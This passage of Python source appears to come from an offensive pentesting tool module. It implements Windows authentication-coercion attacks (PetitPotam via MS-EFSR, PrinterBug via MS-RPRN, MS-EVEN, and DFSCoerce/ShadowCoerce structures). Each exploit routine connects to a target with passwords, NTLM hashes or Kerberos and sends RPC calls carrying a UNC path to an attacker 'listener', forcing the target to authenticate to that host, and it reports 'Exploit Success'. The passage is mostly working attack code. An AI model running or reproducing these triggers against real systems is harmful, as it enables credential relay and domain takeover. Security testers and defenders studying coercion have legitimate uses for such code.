request = EfsRpcRemoveUsersFromFile()
|
|
request["FileName"] = f"\\\\{listener}\\test\\Settings.ini\x00"
|
|
dce.request(request)
|
|
except Exception as e:
|
|
if str(e).find("ERROR_BAD_NETPATH") >= 0:
|
|
self.context.log.debug("EfsRpcRemoveUsersFromFile Success")
|
|
self.context.log.highlight(f"Exploit Success, {pipe}\\EfsRpcRemoveUsersFromFile")
|
|
if not always_continue:
|
|
return True
|
|
elif str(e).find("rpc_s_access_denied") >= 0 or str(e).find("ERROR_INVALID_NAME") >= 0:
|
|
self.context.log.debug("Not Vulnerable")
|
|
else:
|
|
self.context.log.debug(f"Something went wrong, check error status => {e!s}")
|
|
|
|
self.context.log.debug("Sending EfsRpcOpenFileRaw!")
|
|
try:
|
|
request = EfsRpcOpenFileRaw()
|
|
request["FileName"] = f"\\\\{listener}\\test\\Settings.ini\x00"
|
|
request["Flags"] = 0
|
|
dce.request(request)
|
|
except Exception as e:
|
|
if str(e).find("ERROR_BAD_NETPATH") >= 0:
|
|
self.context.log.debug("EfsRpcOpenFileRaw Success")
|
|
self.context.log.highlight(f"Exploit Success, {pipe}\\EfsRpcOpenFileRaw")
|
|
if not always_continue:
|
|
return True
|
|
elif str(e).find("rpc_s_access_denied") >= 0 or str(e).find("ERROR_INVALID_NAME") >= 0:
|
|
self.context.log.debug("Not Vulnerable")
|
|
else:
|
|
self.context.log.debug(f"Something went wrong, check error status => {e!s}")
|
|
return False
|
|
|
|
|
|
class PrinterBugTrigger:
|
|
def __init__(self, context):
|
|
self.context = context
|
|
|
|
def connect(self, username, password, domain, lmhash, nthash, aesKey, target, doKerberos, dcHost, pipe):
|
|
binding_params = {
|
|
"spoolss": {
|
|
"stringBinding": rf"ncacn_np:{target}[\PIPE\spoolss]",
|
|
"MSRPC_UUID_RPRN": ("12345678-1234-abcd-ef00-0123456789ab", "1.0"),
|
|
"port": 445
|
|
},
|
|
"[dcerpc]": {
|
|
"MSRPC_UUID_RPRN": ("12345678-1234-abcd-ef00-0123456789ab", "1.0"),
|
|
"port": None
|
|
}
|
|
}
|
|
if pipe == "[dcerpc]":
|
|
binding_params["[dcerpc]"]["stringBinding"] = get_dynamic_endpoint(uuidtup_to_bin(("12345678-1234-abcd-ef00-0123456789ab", "1.0")), target)
|
|
rpctransport = transport.DCERPCTransportFactory(binding_params[pipe]["stringBinding"])
|
|
if binding_params[pipe]["port"] is not None:
|
|
rpctransport.set_dport(binding_params[pipe]["port"])
|
|
|
|
if hasattr(rpctransport, "set_credentials"):
|
|
rpctransport.set_credentials(
|
|
username=username,
|
|
password=password,
|
|
domain=domain,
|
|
lmhash=lmhash,
|
|
nthash=nthash,
|
|
aesKey=aesKey,
|
|
)
|
|
|
|
if doKerberos:
|
|
rpctransport.set_kerberos(doKerberos, kdcHost=dcHost)
|
|
|
|
rpctransport.setRemoteHost(target)
|
|
dce = rpctransport.get_dce_rpc()
|
|
if doKerberos:
|
|
dce.set_auth_type(RPC_C_AUTHN_GSS_NEGOTIATE)
|
|
dce.set_auth_level(RPC_C_AUTHN_LEVEL_PKT_PRIVACY)
|
|
self.context.log.debug(f"Connecting to {format(binding_params[pipe]['stringBinding'])}")
|
|
try:
|
|
dce.connect()
|
|
except Exception as e:
|
|
self.context.log.debug(f"Something went wrong, check error status => {e!s}")
|
|
return None
|
|
try:
|
|
dce.bind(uuidtup_to_bin(binding_params[pipe]["MSRPC_UUID_RPRN"]))
|
|
except Exception as e:
|
|
self.context.log.debug(f"Something went wrong, check error status => {e!s}")
|
|
return None
|
|
self.context.log.debug("Successfully bound!")
|
|
return dce
|
|
|
|
def exploit(self, dce, listener, target, always_continue, pipe):
|
|
try:
|
|
resp = rprn.hRpcOpenPrinter(dce, f"\\\\{target}\x00")
|
|
except Exception as e:
|
|
if str(e).find("Broken pipe") >= 0:
|
|
# The connection timed-out. Let's try to bring it back next round
|
|
self.context.log.debug("Connection failed - skipping host!")
|
|
return None
|
|
elif str(e).upper().find("ACCESS_DENIED"):
|
|
# We're not admin, bye
|
|
self.context.log.debug("Access denied - RPC call was denied")
|
|
return None
|
|
self.context.log.debug("Got Handle")
|
|
self.context.log.debug("Sending RpcRemoteFindFirstPrinterChangeNotificationEx!")
|
|
|
|
try:
|
|
# https://learn.microsoft.com/en-us/openspecs/windows_protocols/ms-rprn/eb66b221-1c1f-4249-b8bc-c5befec2314d
|
|
request = rprn.RpcRemoteFindFirstPrinterChangeNotificationEx()
|
|
request["hPrinter"] = resp["pHandle"]
|
|
request["fdwFlags"] = rprn.PRINTER_CHANGE_ADD_JOB
|
|
request["pszLocalMachine"] = f"\\\\{listener}\x00"
|
|
request["fdwOptions"] = 0x00000000
|
|
request["dwPrinterLocal"] = 0
|
|
dce.request(request)
|
|
except Exception as e:
|
|
if str(e).find("rpc_s_access_denied") >= 0 or str(e).find("RPC_S_SERVER_UNAVAILABLE") >= 0:
|
|
self.context.log.debug("RpcRemoteFindFirstPrinterChangeNotificationEx Success")
|
|
self.context.log.highlight(f"Exploit Success, {pipe}\\RpcRemoteFindFirstPrinterChangeNotificationEx")
|
|
if not always_continue:
|
|
return True
|
|
else:
|
|
self.context.log.debug(f"Something went wrong, check error status => {e!s}")
|
|
|
|
self.context.log.debug("Sending RpcRemoteFindFirstPrinterChangeNotification!")
|
|
try:
|
|
resp = rprn.hRpcOpenPrinter(dce, f"\\\\{target}\x00")
|
|
except Exception as e:
|
|
if str(e).find("Broken pipe") >= 0:
|
|
# The connection timed-out. Let's try to bring it back next round
|
|
self.context.log.debug("Connection failed - skipping host!")
|
|
return None
|
|
elif str(e).upper().find("ACCESS_DENIED"):
|
|
# We're not admin, bye
|
|
self.context.log.debug("Access denied - RPC call was denied")
|
|
return None
|
|
|
|
self.context.log.debug("Got Handle")
|
|
try:
|
|
# https://learn.microsoft.com/en-us/openspecs/windows_protocols/ms-rprn/eb66b221-1c1f-4249-b8bc-c5befec2314d
|
|
request = RpcRemoteFindFirstPrinterChangeNotification()
|
|
request["hPrinter"] = resp["pHandle"]
|
|
request["fdwFlags"] = rprn.PRINTER_CHANGE_ADD_JOB
|
|
request["pszLocalMachine"] = f"\\\\{listener}\x00"
|
|
request["fdwOptions"] = 0x00000000
|
|
request["dwPrinterLocal"] = 0
|
|
request["cbBuffer"] = NULL
|
|
request["pBuffer"] = NULL
|
|
dce.request(request)
|
|
except Exception as e:
|
|
if str(e).find("rpc_s_access_denied") >= 0 or str(e).find("RPC_S_SERVER_UNAVAILABLE") >= 0:
|
|
self.context.log.debug("RpcRemoteFindFirstPrinterChangeNotification Success")
|
|
self.context.log.highlight(f"Exploit Success, {pipe}\\RpcRemoteFindFirstPrinterChangeNotification")
|
|
if not always_continue:
|
|
return True
|
|
else:
|
|
self.context.log.debug(f"Something went wrong, check error status => {e!s}")
|
|
|
|
|
|
class MSEvenTrigger:
|
|
def __init__(self, context):
|
|
self.context = context
|
|
|
|
def connect(self, username, password, domain, lmhash, nthash, aesKey, target, doKerberos, dcHost, pipe):
|
|
binding_params = {
|
|
"eventlog": {
|
|
"stringBinding": rf"ncacn_np:{target}[\PIPE\eventlog]",
|
|
"MSRPC_UUID_EVEN": ("82273fdc-e32a-18c3-3f78-827929dc23ea", "0.0"),
|
|
},
|
|
}
|
|
rpctransport = transport.DCERPCTransportFactory(binding_params[pipe]["stringBinding"])
|
|
rpctransport.set_dport(445)
|
|
|
|
if hasattr(rpctransport, "set_credentials"):
|
|
rpctransport.set_credentials(
|
|
username=username,
|
|
password=password,
|
|
domain=domain,
|
|
lmhash=lmhash,
|
|
nthash=nthash,
|
|
aesKey=aesKey,
|
|
)
|
|
|
|
if doKerberos:
|
|
rpctransport.set_kerberos(doKerberos, kdcHost=dcHost)
|
|
|
|
rpctransport.setRemoteHost(target)
|
|
dce = rpctransport.get_dce_rpc()
|
|
if doKerberos:
|
|
dce.set_auth_type(RPC_C_AUTHN_GSS_NEGOTIATE)
|
|
dce.set_auth_level(RPC_C_AUTHN_LEVEL_PKT_PRIVACY)
|
|
self.context.log.debug(f"Connecting to {format(binding_params[pipe]['stringBinding'])}")
|
|
try:
|
|
dce.connect()
|
|
except Exception as e:
|
|
self.context.log.debug(f"Something went wrong, check error status => {e!s}")
|
|
return None
|
|
try:
|
|
dce.bind(uuidtup_to_bin(binding_params[pipe]["MSRPC_UUID_EVEN"]))
|
|
except Exception as e:
|
|
self.context.log.debug(f"Something went wrong, check error status => {e!s}")
|
|
return None
|
|
self.context.log.debug("[+] Successfully bound!")
|
|
return dce
|
|
|
|
def exploit(self, dce, listener, always_continue, pipe):
|
|
self.context.log.debug("Sending ElfrOpenBELW!")
|
|
try:
|
|
request = even.ElfrOpenBELW()
|
|
request["UNCServerName"] = NULL # '%s\x00' % listener
|
|
request["BackupFileName"] = f"\\??\\UNC\\{listener}\\abcdefgh\\aa"
|
|
request["MajorVersion"] = 1
|
|
request["MinorVersion"] = 1
|
|
dce.request(request)
|
|
except Exception as e:
|
|
if str(e).find("ERROR_BAD_NETPATH") >= 0 or str(e).find("STATUS_OBJECT_PATH_NOT_FOUND") >= 0 or str(e).find("STATUS_CONNECTION_DISCONNECTED") >= 0:
|
|
self.context.log.debug("ElfrOpenBELW Success")
|
|
self.context.log.highlight(f"Exploit Success, {pipe}\\ElfrOpenBELW")
|
|
if not always_continue:
|
|
return True
|
|
elif str(e).find("abstract_syntax_not_supported") >= 0: # not vulnerable
|
|
self.context.log.debug("Not Vulnerable")
|
|
else:
|
|
self.context.log.debug(f"Something went wrong, check error status => {e!s}")
|
|
|
|
|
|
class IsPathShadowCopied(NDRCALL):
|
|
"""Structure to make the RPC call to IsPathShadowCopied() in MS-FSRVP Protocol"""
|
|
opnum = 9
|
|
structure = (
|
|
("ShareName", WSTR), # Type: LPWSTR
|
|
)
|
|
|
|
|
|
class IsPathShadowCopiedResponse(NDRCALL):
|
|
"""Structure to parse the response of the RPC call to IsPathShadowCopied() in [MS-FSRVP Protocol](https://learn.microsoft.com/en-us/openspecs/windows_protocols/ms-fsrvp/dae107ec-8198-4778-a950-faa7edad125b)"""
|
|
structure = ()
|
|
|
|
|
|
class IsPathSupported(NDRCALL):
|
|
"""Structure to make the RPC call to IsPathSupported() in [MS-FSRVP Protocol](https://learn.microsoft.com/en-us/openspecs/windows_protocols/ms-fsrvp/dae107ec-8198-4778-a950-faa7edad125b)"""
|
|
opnum = 8
|
|
structure = (
|
|
("ShareName", WSTR), # Type: LPWSTR
|
|
)
|
|
|
|
|
|
class IsPathSupportedResponse(NDRCALL):
|
|
"""Structure to parse the response of the RPC call to IsPathSupported() in [MS-FSRVP Protocol](https://learn.microsoft.com/en-us/openspecs/windows_protocols/ms-fsrvp/dae107ec-8198-4778-a950-faa7edad125b)"""
|
|
structure = ()
|
|
|
|
|
|
class PRINTER_HANDLE(NDRSTRUCT):
|
|
structure = (
|
|
("Data", '20s=b""'),
|
|
)
|
|
|
|
def getAlignment(self):
|
|
if self._isNDR64 is True:
|
|
return 8
|
|
else:
|
|
return 4
|
|
|
|
|
|
class USHORT_ARRAY(NDRUniConformantArray):
|
|
item = "<H"
|
|
|
|
|
|
class PUSHORT_ARRAY(NDRPOINTER):
|
|
referent = (
|
|
("Data", USHORT_ARRAY),
|
|
)
|
|
|
|
|
|
class RPC_V2_NOTIFY_OPTIONS_TYPE(NDRSTRUCT):
|
|
structure = (
|
|
("Type", USHORT),
|
|
("Reserved0", USHORT),
|
|
("Reserved1", DWORD),
|
|
("Reserved2", DWORD),
|
|
("Count", DWORD),
|
|
("pFields", PUSHORT_ARRAY),
|
|
)
|
|
|
|
|
|
class PRPC_V2_NOTIFY_OPTIONS_TYPE_ARRAY(NDRPOINTER):
|
|
referent = (
|
|
("Data", RPC_V2_NOTIFY_OPTIONS_TYPE),
|
|
)
|
|
|
|
|
|
class RPC_V2_NOTIFY_OPTIONS(NDRSTRUCT):
|
|
structure = (
|
|
("Version", DWORD),
|
|
("Reserved", DWORD),
|
|
("Count", DWORD),
|
|
("pTypes", PRPC_V2_NOTIFY_OPTIONS_TYPE_ARRAY),
|
|
)
|
|
|
|
|
|
class PRPC_V2_NOTIFY_OPTIONS(NDRPOINTER):
|
|
referent = (
|
|
("Data", RPC_V2_NOTIFY_OPTIONS),
|
|
)
|
|
|
|
|
|
class RpcRemoteFindFirstPrinterChangeNotification(NDRCALL):
|
|
opnum = 62
|
|
structure = (
|
|
("hPrinter", PRINTER_HANDLE),
|
|
("fdwFlags", DWORD),
|
|
("fdwOptions", DWORD),
|
|
("pszLocalMachine", LPWSTR),
|
|
("dwPrinterLocal", DWORD),
|
|
("cbBuffer", DWORD),
|
|
("pBuffer", LPBYTE),
|
|
)
|
|
|
|
|
|
class RpcRemoteFindFirstPrinterChangeNotificationResponse(NDRCALL):
|
|
structure = ()
|
|
|
|
|
|
class EfsRpcOpenFileRaw(NDRCALL):
|
|
"""Structure to make the RPC call to EfsRpcOpenFileRaw() in [MS-EFSR Protocol](https://learn.microsoft.com/en-us/openspecs/windows_protocols/ms-efsr/08796ba8-01c8-4872-9221-1000ec2eff31)"""
|
|
opnum = 0
|
|
structure = (
|
|
("FileName", WSTR), # Type: wchar_t *
|
|
("Flags", LONG), # Type: long
|
|
)
|
|
|
|
|
|
class EfsRpcOpenFileRawResponse(NDRCALL):
|
|
"""Structure to parse the response of the RPC call to EfsRpcOpenFileRaw() in [MS-EFSR Protocol](https://learn.microsoft.com/en-us/openspecs/windows_protocols/ms-efsr/08796ba8-01c8-4872-9221-1000ec2eff31)"""
|
|
structure = ()
|
|
|
|
|
|
class EfsRpcEncryptFileSrv(NDRCALL):
|
|
"""Structure to make the RPC call to EfsRpcEncryptFileSrv() in [MS-EFSR Protocol](https://learn.microsoft.com/en-us/openspecs/windows_protocols/ms-efsr/08796ba8-01c8-4872-9221-1000ec2eff31)"""
|
|
opnum = 4
|
|
structure = (
|
|
("FileName", WSTR), # Type: wchar_t *
|
|
)
|
|
|
|
|
|
class EFS_HASH_BLOB(NDRSTRUCT):
|
|
structure = (
|
|
("Data", DWORD),
|
|
("cbData", PCHAR),
|
|
)
|
|
|
|
|
|
class ENCRYPTION_CERTIFICATE_HASH(NDRSTRUCT):
|
|
structure = (
|
|
("Lenght", DWORD),
|
|
("SID", RPC_SID),
|
|
("Hash", EFS_HASH_BLOB),
|
|
("Display", LPWSTR),
|
|
)
|
|
|
|
|
|
class ENCRYPTION_CERTIFICATE_LIST(NDRSTRUCT):
|
|
structure = (
|
|
("nUsers", DWORD),
|
|
("Users", ENCRYPTION_CERTIFICATE_HASH),
|
|
)
|
|
|
|
|
|
class EfsRpcAddUsersToFile(NDRCALL):
|
|
"""Structure to make the RPC call to EfsRpcAddUsersToFile() in [MS-EFSR Protocol](https://learn.microsoft.com/en-us/openspecs/windows_protocols/ms-efsr/afd56d24-3732-4477-b5cf-44cc33848d85)"""
|
|
opnum = 9
|
|
structure = (
|
|
("FileName", WSTR), # Type: wchar_t *
|
|
("EncryptionCertificates", ENCRYPTION_CERTIFICATE_LIST)
|
|
)
|
|
|
|
|
|
class EfsRpcAddUsersToFileResponse(NDRCALL):
|
|
"""Structure to parse the response of the RPC call to EfsRpcDecryptFileSrv() in [MS-EFSR Protocol](https://learn.microsoft.com/en-us/openspecs/windows_protocols/ms-efsr/08796ba8-01c8-4872-9221-1000ec2eff31)"""
|
|
structure = ()
|
|
|
|
|
|
class EfsRpcAddUsersToFileEx(NDRCALL):
|
|
opnum = 15
|
|
structure = (
|
|
("dwFlags", DWORD), # Type: DWORD
|
|
# Accroding to this page: https://learn.microsoft.com/en-us/openspecs/windows_protocols/ms-efsr/d36df703-edc9-4482-87b7-d05c7783d65e
|
|
# Reserved must be set to NULL
|
|
("Reserved", NDRPOINTERNULL), # Type: NDRPOINTERNULL *
|
|
("FileName", WSTR), # Type: wchar_t *
|
|
("EncryptionCertificates", ENCRYPTION_CERTIFICATE_LIST), # Type: ENCRYPTION_CERTIFICATE_LIST *
|
|
)
|
|
|
|
|
|
class EfsRpcAddUsersToFileExResponse(NDRCALL):
|
|
structure = ()
|
|
|
|
|
|
class EFS_RPC_BLOB(NDRSTRUCT):
|
|
structure = (
|
|
("Data", DWORD),
|
|
("cbData", PCHAR),
|
|
)
|
|
|
|
|
|
class EfsRpcDuplicateEncryptionInfoFile(NDRCALL):
|
|
"""Structure to make the RPC call to EfsRpcDuplicateEncryptionInfoFile() in [MS-EFSR Protocol](https://learn.microsoft.com/en-us/openspecs/windows_protocols/ms-efsr/08796ba8-01c8-4872-9221-1000ec2eff31)"""
|
|
opnum = 13
|
|
structure = (
|
|
("SrcFileName", WSTR), # Type: wchar_t *
|
|
("DestFileName", WSTR), # Type: wchar_t *
|
|
("dwCreationDisposition", DWORD), # Type: DWORD
|
|
("dwAttributes", DWORD), # Type: DWORD
|
|
("RelativeSD", EFS_RPC_BLOB), # Type: EFS_RPC_BLOB *
|
|
("bInheritHandle", BOOL), # Type: BOOL
|
|
)
|
|
|
|
|
|
class EfsRpcDuplicateEncryptionInfoFileResponse(NDRCALL):
|
|
"""Structure to parse the response of the RPC call to EfsRpcDuplicateEncryptionInfoFile() in [MS-EFSR Protocol](https://learn.microsoft.com/en-us/openspecs/windows_protocols/ms-efsr/08796ba8-01c8-4872-9221-1000ec2eff31)"""
|
|
structure = ()
|
|
|
|
|
|
class EfsRpcEncryptFileSrvResponse(NDRCALL):
|
|
"""Structure to parse the response of the RPC call to EfsRpcEncryptFileSrv() in [MS-EFSR Protocol](https://learn.microsoft.com/en-us/openspecs/windows_protocols/ms-efsr/08796ba8-01c8-4872-9221-1000ec2eff31)"""
|
|
structure = ()
|
|
|
|
|
|
class EfsRpcFileKeyInfo(NDRCALL):
|
|
"""Structure to make the RPC call to EfsRpcFileKeyInfo() in [MS-EFSR Protocol](https://learn.microsoft.com/en-us/openspecs/windows_protocols/ms-efsr/08796ba8-01c8-4872-9221-1000ec2eff31)"""
|
|
opnum = 12
|
|
structure = (
|
|
("FileName", WSTR), # Type: wchar_t *
|
|
("InfoClass", DWORD) # Type: DWORD
|
|
)
|
|
|
|
|
|
class EfsRpcFileKeyInfoResponse(NDRCALL):
|
|
"""Structure to parse the response of the RPC call to EfsRpcFileKeyInfo() in [MS-EFSR Protocol](https://learn.microsoft.com/en-us/openspecs/windows_protocols/ms-efsr/08796ba8-01c8-4872-9221-1000ec2eff31)"""
|
|
structure = ()
|
|
|
|
|
|
class EfsRpcQueryRecoveryAgents(NDRCALL):
|
|
"""Structure to make the RPC call to EfsRpcQueryRecoveryAgents() in [MS-EFSR Protocol](https://learn.microsoft.com/en-us/openspecs/windows_protocols/ms-efsr/08796ba8-01c8-4872-9221-1000ec2eff31)"""
|
|
opnum = 7
|
|
structure = (
|
|
("FileName", WSTR), # Type: wchar_t *
|
|
)
|
|
|
|
|
|
class EfsRpcQueryRecoveryAgentsResponse(NDRCALL):
|
|
"""Structure to parse the response of the RPC call to EfsRpcQueryRecoveryAgents() in [MS-EFSR Protocol](https://learn.microsoft.com/en-us/openspecs/windows_protocols/ms-efsr/08796ba8-01c8-4872-9221-1000ec2eff31)"""
|
|
structure = ()
|
|
|
|
|
|
class EfsRpcQueryUsersOnFile(NDRCALL):
|
|
"""Structure to make the RPC call to EfsRpcQueryUsersOnFile() in [MS-EFSR Protocol](https://learn.microsoft.com/en-us/openspecs/windows_protocols/ms-efsr/08796ba8-01c8-4872-9221-1000ec2eff31)"""
|
|
opnum = 6
|
|
structure = (
|
|
("FileName", WSTR), # Type: wchar_t *
|
|
)
|
|
|
|
|
|
class EfsRpcQueryUsersOnFileResponse(NDRCALL):
|
|
"""Structure to parse the response of the RPC call to EfsRpcQueryUsersOnFile() in [MS-EFSR Protocol](https://learn.microsoft.com/en-us/openspecs/windows_protocols/ms-efsr/08796ba8-01c8-4872-9221-1000ec2eff31)"""
|
|
structure = ()
|
|
|
|
|
|
class EfsRpcDecryptFileSrv(NDRCALL):
|
|
"""Structure to make the RPC call to EfsRpcDecryptFileSrv() in [MS-EFSR Protocol](https://learn.microsoft.com/en-us/openspecs/windows_protocols/ms-efsr/08796ba8-01c8-4872-9221-1000ec2eff31)"""
|
|
opnum = 5
|
|
structure = (
|
|
("FileName", WSTR), # Type: wchar_t *
|
|
("OpenFlag", ULONG), # Type: unsigned
|
|
)
|
|
|
|
|
|
class EfsRpcDecryptFileSrvResponse(NDRCALL):
|
|
"""Structure to parse the response of the RPC call to EfsRpcDecryptFileSrv() in [MS-EFSR Protocol](https://learn.microsoft.com/en-us/openspecs/windows_protocols/ms-efsr/08796ba8-01c8-4872-9221-1000ec2eff31)"""
|
|
structure = ()
|
|
|
|
|
|
class ENCRYPTION_CERTIFICATE_HASH_LIST(NDRSTRUCT):
|
|
align = 1
|
|
structure = (
|
|
("Cert", DWORD),
|
|
("Users", ENCRYPTION_CERTIFICATE_HASH),
|
|
)
|
|
|
|
|
|
class EfsRpcRemoveUsersFromFile(NDRCALL):
|
|
"""Structure to make the RPC call to EfsRpcRemoveUsersFromFile() in [MS-EFSR Protocol](https://learn.microsoft.com/en-us/openspecs/windows_protocols/ms-efsr/28609dad-5fa5-4af9-9382-18d40e3e9dec)"""
|
|
opnum = 8
|
|
structure = (
|
|
("FileName", WSTR),
|
|
("Users", ENCRYPTION_CERTIFICATE_HASH_LIST)
|
|
)
|
|
|
|
|
|
class EfsRpcRemoveUsersFromFileResponse(NDRCALL):
|
|
"""Structure to parse the response of the RPC call to EfsRpcRemoveUsersFromFile() in [MS-EFSR Protocol](https://learn.microsoft.com/en-us/openspecs/windows_protocols/ms-efsr/08796ba8-01c8-4872-9221-1000ec2eff31)"""
|
|
structure = ()
|
|
|
|
|
|
class NetrDfsManagerInitialize(NDRCALL):
|
|
opnum = 14
|
|
structure = (
|
|
("ServerName", WSTR), # Type: WCHAR *
|
|
("Flags", DWORD), # Type: DWORD
|
|
)
|
|
|
|
|
|
class NetrDfsManagerInitializeResponse(NDRCALL):
|
|
structure = ()
|
|
|
|
|
|
class NetrDfsAddStdRoot(NDRCALL):
|
|
"""Structure to make the RPC call to NetrDfsAddStdRoot() in MS-DFSNM Protocol"""
|
|
opnum = 12
|
|
structure = (
|
|
("ServerName", WSTR), # Type: WCHAR *
|
|
("RootShare", WSTR), # Type: WCHAR *
|
|
("Comment", WSTR), # Type: WCHAR *
|
|
("ApiFlags", DWORD), # Type: DWORD
|
|
)
|
|
|
|
|
|
class NetrDfsAddStdRootResponse(NDRCALL):
|
|
"""Structure to parse the response of the RPC call to EfsRpcRemoveUsersFromFile() in [MS-EFSR Protocol](https://learn.microsoft.com/en-us/openspecs/windows_protocols/ms-efsr/08796ba8-01c8-4872-9221-1000ec2eff31)"""
|
|
structure = ()
|
|
|
|
|
|
class NetrDfsRemoveStdRoot(NDRCALL):
|
|
"""Structure to make the RPC call to NetrDfsRemoveStdRoot() in MS-DFSNM Protocol"""
|
|
opnum = 13
|
|
structure = (
|
|
("ServerName", WSTR), # Type: WCHAR *
|
|
("RootShare", WSTR), # Type: WCHAR *
|
|
("ApiFlags", DWORD) # Type: DWORD
|
|
)
|
|
|
|
|
|
class NetrDfsRemoveStdRootResponse(NDRCALL):
|
|
"""Structure to parse the response of the RPC call to NetrDfsRemoveStdRoot() in MS-DFSNM Protocol"""
|
|
structure = ()
|